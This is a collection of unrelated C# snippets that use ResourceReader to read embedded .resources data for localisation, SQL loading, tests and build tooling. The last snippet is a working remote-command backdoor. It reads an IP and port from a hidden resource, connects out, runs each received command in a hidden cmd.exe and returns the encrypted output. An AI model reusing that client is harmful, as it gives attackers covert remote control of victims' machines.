public static bool Phase2() { var resName = PhaseParam; var resReader = new ResourceReader(AsmDef.FindResource(res => res.Name == "app.resources").GetResourceStream()); var en = resReader.GetEnumerator(); byte[] resData = null; while (en.MoveNext()) { if (en.Key.ToString() == resName) resData = en.Value as byte[]; } if(resData == null) { PhaseError = new PhaseError { Level = PhaseError.ErrorLevel.Critical, Message = "Could not read resource data!" }; } PhaseParam = resData; return true; }
private void Form1_Load(object sender, EventArgs e) { Assembly thisAssembly = Assembly.GetExecutingAssembly(); string[] test = Assembly.GetExecutingAssembly().GetManifestResourceNames(); foreach (string file in test) { Stream rgbxml = thisAssembly.GetManifestResourceStream( file); try { ResourceReader res = new ResourceReader(rgbxml); IDictionaryEnumerator dict = res.GetEnumerator(); while (dict.MoveNext()) { Console.WriteLine(" {0}: '{1}' (Type {2})", dict.Key, dict.Value, dict.Value.GetType().Name); if (dict.Key.ToString().EndsWith(".ToolTip") || dict.Key.ToString().EndsWith(".Text") || dict.Key.ToString().EndsWith("HeaderText") || dict.Key.ToString().EndsWith("ToolTipText")) { dataGridView1.Rows.Add(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colFile.Index].Value = System.IO.Path.GetFileName(file); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colInternal.Index].Value = dict.Key.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colEnglish.Index].Value = dict.Value.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colOtherLang.Index].Value = dict.Value.ToString(); } } } catch {} } }
private void FixNow(string path) { try { string sound = Path.Combine(path, "zone", "snd"); if (!Directory.Exists(sound)) throw new Exception("リソース(資源)の一部が欠けてるようです。"); sound = Path.Combine(sound, "en"); Directory.CreateDirectory(sound); Assembly asm = Assembly.GetExecutingAssembly(); Stream resource = asm.GetManifestResourceStream("SteamPatch_BO3_BETA.Properties.Resources.resources"); using (IResourceReader render = new ResourceReader(resource)) { IDictionaryEnumerator id = render.GetEnumerator(); while (id.MoveNext()) { byte[] bytes = (byte[])id.Value; string file = Path.Combine(sound, id.Key.ToString()); File.WriteAllBytes(file, bytes); } } MessageBox.Show("適応しました", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (Exception ex) { MessageBox.Show(ex.Message, Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error); } }
/// <summary> /// 默认构造函数 /// </summary> /// <param name="filepath">资源文件路径</param> public ResourceHelper(string filepath) { this.m_FilePath = filepath; this.m_Hashtable = new Hashtable(); //如果存在 if (File.Exists(filepath)) { string tempFile = HConst.TemplatePath + "\\decryptFile.resx"; //解密文件 //System.Net.Security tSecurity = new Security(); //tSecurity.DecryptDES(filepath, tempFile); File.Copy(filepath, tempFile); using (ResourceReader ResReader = new ResourceReader(tempFile)) { IDictionaryEnumerator tDictEnum = ResReader.GetEnumerator(); while (tDictEnum.MoveNext()) { this.m_Hashtable.Add(tDictEnum.Key, tDictEnum.Value); } ResReader.Close(); } //删除临时文件 File.Delete(tempFile); } }
protected SqlStatementsBase(Assembly assembly, string resourcePath) { Ensure.That(assembly, "assembly").IsNotNull(); Ensure.That(resourcePath, "resourcePath").IsNotNullOrWhiteSpace(); if (!resourcePath.EndsWith(".resources")) resourcePath = string.Concat(resourcePath, ".resources"); resourcePath = string.Concat(assembly.GetName().Name, ".", resourcePath); _sqlStrings = new Dictionary<string, string>(); using (var resourceStream = assembly.GetManifestResourceStream(resourcePath)) { using (var reader = new ResourceReader(resourceStream)) { var e = reader.GetEnumerator(); while (e.MoveNext()) { _sqlStrings.Add(e.Key.ToString(), e.Value.ToString()); } } if(resourceStream != null) resourceStream.Close(); } }
public XamlSnippetProvider(Assembly assembly, string resourceIdString) { var resourceIds = new[] { resourceIdString }; foreach (var resourceId in resourceIds) { try { using (var reader = new ResourceReader(assembly.GetManifestResourceStream(resourceId))) { var enumerator = reader.GetEnumerator(); while (enumerator.MoveNext()) { var name = enumerator.Key as string; var xaml = enumerator.Value as string; if (name != null && xaml != null) { snippets.Add(new Snippet(name, xaml)); } } } } catch (Exception e) { Debug.WriteLine($"Cannot load snippets. Exception: {e}"); } } }
private static ResourceKeys Open(Type resourceType, CultureInfo culture) { string pathRoot = System.IO.Path.GetDirectoryName(new System.Uri(System.Reflection.Assembly.GetCallingAssembly().CodeBase).LocalPath); ResourceKeys returnValue = ResourceKeys.Open(resourceType); string fileName = GetResourceFileName(resourceType, culture); fileName = System.IO.Path.Combine(pathRoot, fileName); using (ResourceReader reader = new ResourceReader(fileName)) { IDictionaryEnumerator dict = reader.GetEnumerator(); while (dict.MoveNext()) { string resourceKey, resourceValue; resourceKey = dict.Key as string; resourceValue = dict.Value as string; if (resourceKey.IsNullEmptyOrWhiteSpace() || resourceValue.IsNullEmptyOrWhiteSpace()) { continue; } returnValue.Add(resourceKey, resourceValue, culture); } } return(returnValue); }
/// <summary> Creates a new <code>DatabaseType</code>. /// /// </summary> /// <param name="databaseType">the type of database /// </param> public DatabaseType(System.String databaseType) { Assembly assembly = Assembly.GetExecutingAssembly(); string resourceName = string.Format("AutopatchNet.{0}.resources", databaseType.ToLower()); System.IO.Stream rs = assembly.GetManifestResourceStream(resourceName); if (rs == null) { throw new System.ArgumentException("Could not find SQL resources file for database '" + databaseType + "'; make sure that there is a '" + databaseType.ToLower() + ".resources' file in package."); } try { ResourceReader reader = new ResourceReader(rs); IDictionaryEnumerator en = reader.GetEnumerator(); while(en.MoveNext()) { string sqlkey = (string)en.Key; string sql = (string)en.Value; properties.Add(sqlkey, sql); } reader.Close(); } catch (System.IO.IOException e) { throw new System.ArgumentException("Could not read SQL resources file for database '" + databaseType + "'.", e); } finally { rs.Close(); } this.databaseType = databaseType; }
private void TranslateFromStream(FileStream stream, string outputDirectory) { var resourceReader = new ResourceReader(stream); var enumerator = resourceReader.GetEnumerator(); while (enumerator.MoveNext()) { var resource = new Resource(enumerator.Key, enumerator.Value); xamlTranslator.Translate(resource, outputDirectory); } }
public override void Run() { // Here an example that shows how to access the current text document: ITextEditorControlProvider tecp = WorkbenchSingleton.Workbench.ActiveContent as ITextEditorControlProvider; if (tecp == null) { // active content is not a text editor control return; } // Get the active text area from the control: TextArea textArea = tecp.TextEditorControl.ActiveTextAreaControl.TextArea; if (!textArea.SelectionManager.HasSomethingSelected) return; // get the selected text: string text = textArea.SelectionManager.SelectedText; string sdSrcPath = Path.Combine(Path.GetDirectoryName(GetType().Assembly.Location), "../../../.."); using (ResourceReader r = new ResourceReader(Path.Combine(sdSrcPath, "Main/StartUp/Project/Resources/StringResources.resources"))) { IDictionaryEnumerator en = r.GetEnumerator(); // Goes through the enumerator, printing out the key and value pairs. while (en.MoveNext()) { if (object.Equals(en.Value, text)) { SetText(textArea, en.Key.ToString(), text); return; } } } string resourceName = MessageService.ShowInputBox("Add Resource", "Please enter the name for the new resource.\n" + "This should be a namespace-like construct, please see what the names of resources in the same component are.", PropertyService.Get("ResourceToolLastResourceName")); if (resourceName == null || resourceName.Length == 0) return; PropertyService.Set("ResourceToolLastResourceName", resourceName); string purpose = MessageService.ShowInputBox("Add Resource", "Enter resource purpose (may be empty)", ""); if (purpose == null) return; SetText(textArea, resourceName, text); string path = Path.GetFullPath(Path.Combine(sdSrcPath, "Tools/StringResourceTool/bin/Debug")); ProcessStartInfo info = new ProcessStartInfo(path + "\\StringResourceTool.exe", "\"" + resourceName + "\" " + "\"" + text + "\" " + "\"" + purpose + "\""); info.WorkingDirectory = path; try { Process.Start(info); } catch (Exception ex) { MessageService.ShowError(ex, "Error starting " + info.FileName); } }
public void WriteResource(IResourceService service) { using (ResourceReader reader = new ResourceReader(this.FileName)) { IResourceWriter writer = service.DefineResource(this.Name, this.Description); IDictionaryEnumerator e = reader.GetEnumerator(); while (e.MoveNext()) { writer.AddResource((string)e.Key, e.Value); } } }
private void Application_Startup(object sender, StartupEventArgs e) { ResourceReader reader = new ResourceReader("C:\\Users\\ssickles\\Desktop\\Infralution.Localization.Wpf\\SampleApp_CS\\bin\\Debug\\fr\\WpfApp.resources.dll"); IDictionaryEnumerator resourceReaderEn = reader.GetEnumerator(); while (resourceReaderEn.MoveNext()) { Console.WriteLine("Name: {0} - Value: {1}", resourceReaderEn.Key.ToString().PadRight(10, ' '), resourceReaderEn.Value); } ResourceWriter writer = new ResourceWriter("C:\\Users\\ssickles\\Desktop\\Infralution.Localization.Wpf\\SampleApp_CS\\bin\\Debug\\fr\\WpfApp.resources.dll"); }
public static string ConvertEmbeddedResourceFile(Configuration configuration, string assemblyName, Assembly assembly, string resourceName) { var output = new StringBuilder(); using (var stream = assembly.GetManifestResourceStream(resourceName)) using (var reader = new ResourceReader(stream)) { output.AppendLine("{"); bool first = true; var e = reader.GetEnumerator(); while (e.MoveNext()) { if (!first) output.AppendLine(","); else first = false; var key = Convert.ToString(e.Key); output.AppendFormat(" {0}: ", JSIL.Internal.Util.EscapeString(key)); var value = e.Value; if (value == null) { output.Append("null"); } else { switch (value.GetType().FullName) { case "System.String": output.Append(JSIL.Internal.Util.EscapeString((string)value)); break; case "System.Single": case "System.Double": case "System.UInt16": case "System.UInt32": case "System.UInt64": case "System.Int16": case "System.Int32": case "System.Int64": output.Append(Convert.ToString(value)); break; default: output.Append(JSIL.Internal.Util.EscapeString(Convert.ToString(value))); break; } } } output.AppendLine(); output.AppendLine("}"); } return output.ToString(); }
static void Main(string[] args) { if(args.Length !=1) { Console.Write("[-] Error\nnetZunpacker.exe packedfile.exe\nPress Enter to Exit"); Console.Read(); return; } try { String path; if (!Path.IsPathRooted(args[0])) { path = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\" + args[0]; } else { path = args[0]; } Assembly a = Assembly.LoadFile(path); ResourceManager rm = new ResourceManager("app", a); String[] resourceNames = a.GetManifestResourceNames(); int p; foreach (string resName in resourceNames) { Stream resStream = a.GetManifestResourceStream(resName); var rr = new ResourceReader(resStream); IDictionaryEnumerator dict = rr.GetEnumerator(); int ctr = 0; while (dict.MoveNext()) { ctr++; //Console.WriteLine("\n{0:00}: {1} = {2}", ctr, dict.Key, dict.Value); if (((byte[])rm.GetObject(dict.Key.ToString()))[0] == 120) { Decoder((byte[])rm.GetObject(dict.Key.ToString()), dict.Key.ToString()); } } rr.Close(); } } catch(Exception e) { String s = e.Message; Console.Write(s); } }
internal static string GetString(string str, string lang) { if (string.IsNullOrEmpty(str)) throw new ArgumentNullException("Empty language query string"); if (string.IsNullOrEmpty(lang)) throw new ArgumentNullException("No language resource given"); // culture-specific file, i.e. "LangResources.fr" Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ScreenToGif.Properties.Lang" + lang + ".resources"); //string[] resourceNames = Assembly.GetExecutingAssembly().GetManifestResourceNames(); //if (resourceNames.Any()) //{ // // //} // resource not found, revert to default resource if (null == stream) { stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ScreenToGif.Properties.Resources.resources"); } ResourceReader reader = new ResourceReader(stream); IDictionaryEnumerator en = reader.GetEnumerator(); while (en.MoveNext()) { if (en.Key.Equals(str)) { return en.Value.ToString(); } } #region If string is not translated stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ScreenToGif.Properties.Resources"); reader = new ResourceReader(stream); IDictionaryEnumerator en1 = reader.GetEnumerator(); while (en1.MoveNext()) { if (en1.Key.Equals(str)) { return en1.Value.ToString(); } } #endregion return "<STRING>"; }
public void PostRename(ConfuserContext context, INameService service, ProtectionParameters parameters, IDnlibDef def) { var module = def as ModuleDefMD; if (module == null) return; var wpfResInfo = context.Annotations.Get<Dictionary<string, Dictionary<string, BamlDocument>>>(module, BAMLKey); if (wpfResInfo == null) return; foreach (EmbeddedResource res in module.Resources.OfType<EmbeddedResource>()) { Dictionary<string, BamlDocument> resInfo; if (!wpfResInfo.TryGetValue(res.Name, out resInfo)) continue; var stream = new MemoryStream(); var writer = new ResourceWriter(stream); res.Data.Position = 0; var reader = new ResourceReader(new ImageStream(res.Data)); IDictionaryEnumerator enumerator = reader.GetEnumerator(); while (enumerator.MoveNext()) { var name = (string)enumerator.Key; string typeName; byte[] data; reader.GetResourceData(name, out typeName, out data); BamlDocument document; if (resInfo.TryGetValue(name, out document)) { var docStream = new MemoryStream(); docStream.Position = 4; BamlWriter.WriteDocument(document, docStream); docStream.Position = 0; docStream.Write(BitConverter.GetBytes((int)docStream.Length - 4), 0, 4); data = docStream.ToArray(); name = document.DocumentName; } writer.AddResourceData(name, typeName, data); } writer.Generate(); res.Data = MemoryImageStream.Create(stream.ToArray()); } }
void ProcessAssembly(Assembly thisAssembly) { Console.WriteLine("Load Assembly " + thisAssembly.FullName); string[] test = thisAssembly.GetManifestResourceNames(); foreach (string file in test) { if (!file.EndsWith(".resources")) continue; Stream rgbxml = thisAssembly.GetManifestResourceStream( file); try { ResourceReader res = new ResourceReader(rgbxml); IDictionaryEnumerator dict = res.GetEnumerator(); while (dict.MoveNext()) { if (dict.Value == null) continue; Console.WriteLine(" {0}: '{1}' (Type {2})", dict.Key, dict.Value, dict.Value.GetType().Name); if (file.Contains("MissionPlanner.Strings.resources") || dict.Key.ToString().EndsWith(".ToolTip") || dict.Key.ToString().EndsWith(".Text") || dict.Key.ToString().EndsWith("HeaderText") || dict.Key.ToString().EndsWith("ToolTipText")) { dataGridView1.Rows.Add(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colFile.Index].Value = System.IO.Path.GetFileName(file); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colInternal.Index].Value = dict.Key.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colEnglish.Index].Value = dict.Value.ToString(); dataGridView1.Rows[dataGridView1.RowCount - 1].Cells[colOtherLang.Index].Value = dict.Value.ToString(); } } } catch { } } }
public DemoExplorer(string fileName) : base(new Guid("83c6c606-e8fb-4fbb-87ab-e41e617589bd")) { FileName = fileName; Files = new List<FarFile>(); // Read the .resources file, create and cache the panels files using (var reader = new ResourceReader(fileName)) { var it = reader.GetEnumerator(); while (it.MoveNext()) { SetFile file = new SetFile(); file.Name = it.Key.ToString(); file.Description = Convert.ToString(it.Value); Files.Add(file); } } }
/// <summary>Initializes a new instance of the <see cref="Preset"/> class from the files specified in the passed resource.resx, and adds the information to the presets.</summary> /// <param name="letters">The list of letters that go into the gem (e.g., "obr").</param> /// <param name="name">The friendly name of the group, for display purposes.</param> /// <param name="embeddedResourceFullName">Full path to the embedded assembly resource file containing the schemes</param> public Preset(string letters, string name, string embeddedResourceFullName) { ThrowNull(letters, nameof(letters)); ThrowNull(name, nameof(name)); ThrowNull(embeddedResourceFullName, nameof(embeddedResourceFullName)); this.Name = name; using (ResourceReader resourceReader = new ResourceReader(assembly.GetManifestResourceStream(embeddedResourceFullName))) { var dict = resourceReader.GetEnumerator(); while (dict.MoveNext()) { var gemCombines = new List<Instruction>(); using (MemoryStream memoryStream = new MemoryStream((byte[])dict.Value)) using (BinaryReader binaryStream = new BinaryReader(memoryStream)) { while (memoryStream.Position < memoryStream.Length) { gemCombines.Add(Instruction.NewFromStream(binaryStream)); } } List<Gem> gems = new List<Gem>(); gems.Add(null); for (int i = 0; i < gemCombines[0].From; i++) { gems.Add(new Gem(letters[i])); } Gem lastGem = null; for (int i = 1; i < gemCombines.Count; i++) { var combine = gemCombines[i]; Gem c1 = gems[combine.From]; Gem c2 = gems[combine.To]; lastGem = new Gem(c1, c2); gems.Add(lastGem); } this.Entries.Add(lastGem); } } }
private void CollectBundle(string assemblyName, string bundleName) { String strippedBundleName = bundleName.Substring(0, bundleName.Length - ".resources".Length); // Strip ".resources" postfix String locale = strippedBundleName.Substring(strippedBundleName.LastIndexOf('.') + 1); strippedBundleName = strippedBundleName.Substring(0, strippedBundleName.LastIndexOf('.')); // Strip "locale" postfix var translations = new List<ResourceTranslation>(); var stream = assembly.GetManifestResourceStream(bundleName); var reader = new ResourceReader(stream); IDictionaryEnumerator dict = reader.GetEnumerator(); while (dict.MoveNext()) CollectTranslatedResource(strippedBundleName, dict, reader, translations); if (translations.Count > 0) { var stats = translationSyncCallback(projectID, assemblyName, strippedBundleName, translations); AddStats(stats); } }
/// <summary> /// 读取 资源文件信息. /// </summary> /// <param name="resName"></param> public void DisplayHello(String resName) { try { ResourceReader reader = new ResourceReader(resName + ".resource"); IDictionaryEnumerator dict = reader.GetEnumerator(); while (dict.MoveNext()) { String s = (String)dict.Key; if (s == "Hello") { Console.WriteLine(dict.Value); } } } catch (Exception ex) { Console.WriteLine(ex.Message); Console.WriteLine(ex.StackTrace); } }
public static string GetValue(string filename, string key) { var result = string.Empty; using (var r = new ResourceReader(filename)) { var rr = r.GetEnumerator(); while (rr.MoveNext()) { if (rr.Key.Equals(key)) { result = rr.Value as string; } } } return result; }
public static int FillValues2(string fileName, Dictionary <string, System.Tuple <string, byte[]> > values) { int result = 0; using (var reader = new System.Resources.ResourceReader(fileName)) { var enumer = reader.GetEnumerator(); while (enumer.MoveNext()) { string name = Convert.ToString(enumer.Key); string resType = null; byte[] itemData = null; reader.GetResourceData(name, out resType, out itemData); if (resType != null && resType.Length > 0 && itemData != null && itemData.Length > 0) { values[name] = new Tuple <string, byte[]>(resType, itemData); result++; } } } return(result); }
private void GetPic(DirectoryInfo dir) { foreach (var file in dir.GetFiles()) { if (file.Name.EndsWith(".exe") || file.Name.EndsWith(".dll")) { var assembly = Assembly.LoadFile(file.FullName); var list = assembly.GetManifestResourceNames(); foreach (var item in list) { using (var stream = assembly.GetManifestResourceStream(item)) { if (item.EndsWith(".resources")) { using (var reader = new ResourceReader(stream)) { var enumer = reader.GetEnumerator(); while (enumer.MoveNext()) { listBox1.Items.Add(enumer.Key + ":" + enumer.Value.ToString()); } } } } } } } foreach (var folder in dir.GetDirectories()) { GetPic(folder); } }
[Test] // AddResource (string, byte []) public void AddResource0 () { byte [] value = new byte [] { 5, 7 }; MemoryStream ms = new MemoryStream (); ResourceWriter writer = new ResourceWriter (ms); writer.AddResource ("Name", value); writer.Generate (); try { writer.AddResource ("Address", new byte [] { 8, 12 }); Assert.Fail ("#A1"); } catch (InvalidOperationException ex) { // The resource writer has already been closed // and cannot be edited Assert.AreEqual (typeof (InvalidOperationException), ex.GetType (), "#A2"); Assert.IsNull (ex.InnerException, "#A3"); Assert.IsNotNull (ex.Message, "#A4"); } ms.Position = 0; ResourceReader rr = new ResourceReader (ms); IDictionaryEnumerator enumerator = rr.GetEnumerator (); Assert.IsTrue (enumerator.MoveNext (), "#B1"); Assert.AreEqual ("Name", enumerator.Key, "#B3"); Assert.AreEqual (value, enumerator.Value, "#B4"); Assert.IsFalse (enumerator.MoveNext (), "#B5"); writer.Close (); }
/* * Load */ public static Program Load(String fileName) { Program program = null; using (ResourceReader resourceReader = new ResourceReader(fileName)) { IDictionaryEnumerator enumerator = resourceReader.GetEnumerator(); while (enumerator.MoveNext()) { switch (Convert.ToString(enumerator.Key)) { case "Program": { program = (Program)enumerator.Key; break; } case "ProgramNode": { program = ((ProgramNode)enumerator.Value).SubProgram; break; } } } } return program; }
[Test] // AddResource (string, string) public void AddResource2_Value_Null () { MemoryStream ms = new MemoryStream (); ResourceWriter writer = new ResourceWriter (ms); writer.AddResource ("Name", (string) null); writer.Generate (); ms.Position = 0; ResourceReader rr = new ResourceReader (ms); IDictionaryEnumerator enumerator = rr.GetEnumerator (); Assert.IsTrue (enumerator.MoveNext (), "#1"); Assert.AreEqual ("Name", enumerator.Key, "#2"); Assert.IsNull (enumerator.Value, "#3"); Assert.IsFalse (enumerator.MoveNext (), "#4"); writer.Close (); }
[Test] // bug #339074 public void Close_NoResources () { string tempFile = Path.Combine (AppDomain.CurrentDomain.BaseDirectory, "test.resources"); ResourceWriter writer = new ResourceWriter (tempFile); writer.Close (); using (FileStream fs = File.OpenRead (tempFile)) { Assert.IsFalse (fs.Length == 0, "#1"); using (ResourceReader reader = new ResourceReader (fs)) { Assert.IsFalse (reader.GetEnumerator ().MoveNext (), "#2"); } } }
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) { string ci = ""; CultureInfo[] temp = System.Globalization.CultureInfo.GetCultures(CultureTypes.AllCultures); foreach (CultureInfo cul in temp) { if ((cul.DisplayName + " " + cul.Name) == comboBox1.Text) { Console.WriteLine(cul.Name); ci = cul.Name; } } Assembly thisAssembly = null; try { string fn = Path.GetDirectoryName(Application.ExecutablePath) + Path.DirectorySeparatorChar + ci + Path.DirectorySeparatorChar + "MissionPlanner.resources.dll"; if (File.Exists(fn)) thisAssembly = Assembly.LoadFile(fn); else return; } catch { return; } string[] test = thisAssembly.GetManifestResourceNames(); Encoding unicode = Encoding.Unicode; foreach (string file in test) { Stream rgbxml = thisAssembly.GetManifestResourceStream( file); try { ResourceReader res = new ResourceReader(rgbxml); IDictionaryEnumerator dict = res.GetEnumerator(); while (dict.MoveNext()) { try { Console.WriteLine(" {0}: '{1}' (Type {2})", dict.Key, dict.Value, dict.Value.GetType().Name); if (dict.Value is Size) continue; string thing = (string) dict.Value; // dataGridView1.Rows[0].Cells[colOtherLang.Index].Value = dict.Value.ToString(); foreach (DataGridViewRow row in dataGridView1.Rows) { string t2 = file.Replace(ci + ".", ""); if (row.Cells[0].Value.ToString() == t2 && row.Cells[1].Value.ToString() == dict.Key.ToString()) { row.Cells[3].Value = thing; } } } catch { } } } catch { } } CustomMessageBox.Show("Loaded Existing"); }
public void AddResourceFile(string name, string file, ResourceAttributes attribute) { IResourceWriter rw = _myModule.DefineResource(Path.GetFileName(file), name, attribute); string ext = Path.GetExtension(file); if(String.Equals(ext, ".resources", StringComparison.OrdinalIgnoreCase)) { ResourceReader rr = new ResourceReader(file); using (rr) { System.Collections.IDictionaryEnumerator de = rr.GetEnumerator(); while (de.MoveNext()) { string key = de.Key as string; rw.AddResource(key, de.Value); } } } else { rw.AddResource(name, File.ReadAllBytes(file)); } }
private int WriteResource(IResource resource) { IEmbeddedResource embeddedResource = resource as IEmbeddedResource; if (embeddedResource != null) { try { byte[] buffer = embeddedResource.Value; string fileName = Path.Combine(_outputDirectory, resource.Name); if (resource.Name.EndsWith(".resources")) { fileName = Path.ChangeExtension(fileName, ".resx"); using (MemoryStream ms = new MemoryStream(embeddedResource.Value)) { ResXResourceWriter resxw = new ResXResourceWriter(fileName); IResourceReader reader = new ResourceReader(ms); IDictionaryEnumerator en = reader.GetEnumerator(); while (en.MoveNext()) { resxw.AddResource(en.Key.ToString(), en.Value); } reader.Close(); resxw.Close(); } } else // other embedded resource { if (buffer != null) { using (Stream stream = File.Create(fileName)) { stream.Write(buffer, 0, buffer.Length); } } } AddToProjectFiles(fileName); return 0; } catch (Exception ex) { WriteLine("Error in " + resource.Name + " : " + ex.Message); } } return WriteOtherResource(resource); }
/// <summary>Enbdeds resource into assembly</summary> /// <param name="builder"><see cref="ModuleBuilder"/> to embede resource in</param> /// <param name="name">Name of the resource</param> /// <param name="path">File to obtain resource from</param> /// <param name="attributes">Defines resource visibility</param> //DefineResource // Exceptions: // System.ArgumentException: // name has been previously defined or if there is another file in the assembly // named fileName.-or- The length of name is zero.-or- The length of fileName // is zero.-or- fileName includes a path. // // System.ArgumentNullException: // name or fileName is null. // // System.Security.SecurityException: // The caller does not have the required permission. //ResourceReader // Exceptions: // System.ArgumentException: // The stream is not readable. // // System.ArgumentNullException: // The stream parameter is null. // // System.IO.IOException: // An I/O error has occurred while accessing stream. //AddResource // Exceptions: // System.ArgumentNullException: // The name parameter is null. //ReadAllBytes // Exceptions: // System.ArgumentException: // path is a zero-length string, contains only white space, or contains one // or more invalid characters as defined by System.IO.Path.InvalidPathChars. // // System.ArgumentNullException: // path is null. // // System.IO.PathTooLongException: // The specified path, file name, or both exceed the system-defined maximum // length. For example, on Windows-based platforms, paths must be less than // 248 characters, and file names must be less than 260 characters. // // System.IO.DirectoryNotFoundException: // The specified path is invalid (for example, it is on an unmapped drive). // // System.IO.IOException: // An I/O error occurred while opening the file. // // System.UnauthorizedAccessException: // path specified a file that is read-only.-or- This operation is not supported // on the current platform.-or- path specified a directory.-or- The caller does // not have the required permission. // // System.IO.FileNotFoundException: // The file specified in path was not found. // // System.NotSupportedException: // path is in an invalid format. // // System.Security.SecurityException: // The caller does not have the required permission. private void AddResourceFile(ModuleBuilder builder,string name, FullPath path, ResourceAttributes attributes) { IResourceWriter rw = builder.DefineResource(path.FileName, name, attributes); string ext = path.Extension.ToLower(); if(ext == ".resources") { ResourceReader rr = new ResourceReader(path); using(rr) { System.Collections.IDictionaryEnumerator de = rr.GetEnumerator(); while(de.MoveNext()) { string key = de.Key as string; rw.AddResource(key, de.Value); } } } else { rw.AddResource(name, File.ReadAllBytes(path)); } }
static void Main(String[] args) { var assembly = Assembly.GetExecutingAssembly(); Stream fs = assembly.GetManifestResourceStream("Client.temp.resources"); var readed = new System.Resources.ResourceReader(fs); IDictionaryEnumerator dict = readed.GetEnumerator(); dict.MoveNext(); String ipAddress = (String)dict.Value; dict.MoveNext(); int port = Convert.ToInt32((String)dict.Value); TcpClient tcpCli = new TcpClient(); Console.WriteLine("Waiting for connection..."); while (true) { try { tcpCli.Connect(ipAddress, port); } catch { continue; } if (tcpCli.Connected) { break; } } //Add an Async so the client exe doesn't auto close while (true) { String dataRcved = DownloadData(tcpCli); System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C " + dataRcved; startInfo.RedirectStandardOutput = true; startInfo.UseShellExecute = false; process.StartInfo = startInfo; process.Start(); StringBuilder outputted = new StringBuilder(); while (!process.StandardOutput.EndOfStream) { outputted.Append(process.StandardOutput.ReadLine() + "\n"); } process.WaitForExit(); byte[] output = encrypt(outputted.ToString()); NetworkStream netStream = tcpCli.GetStream(); netStream.Write(output, 0, output.Length); } }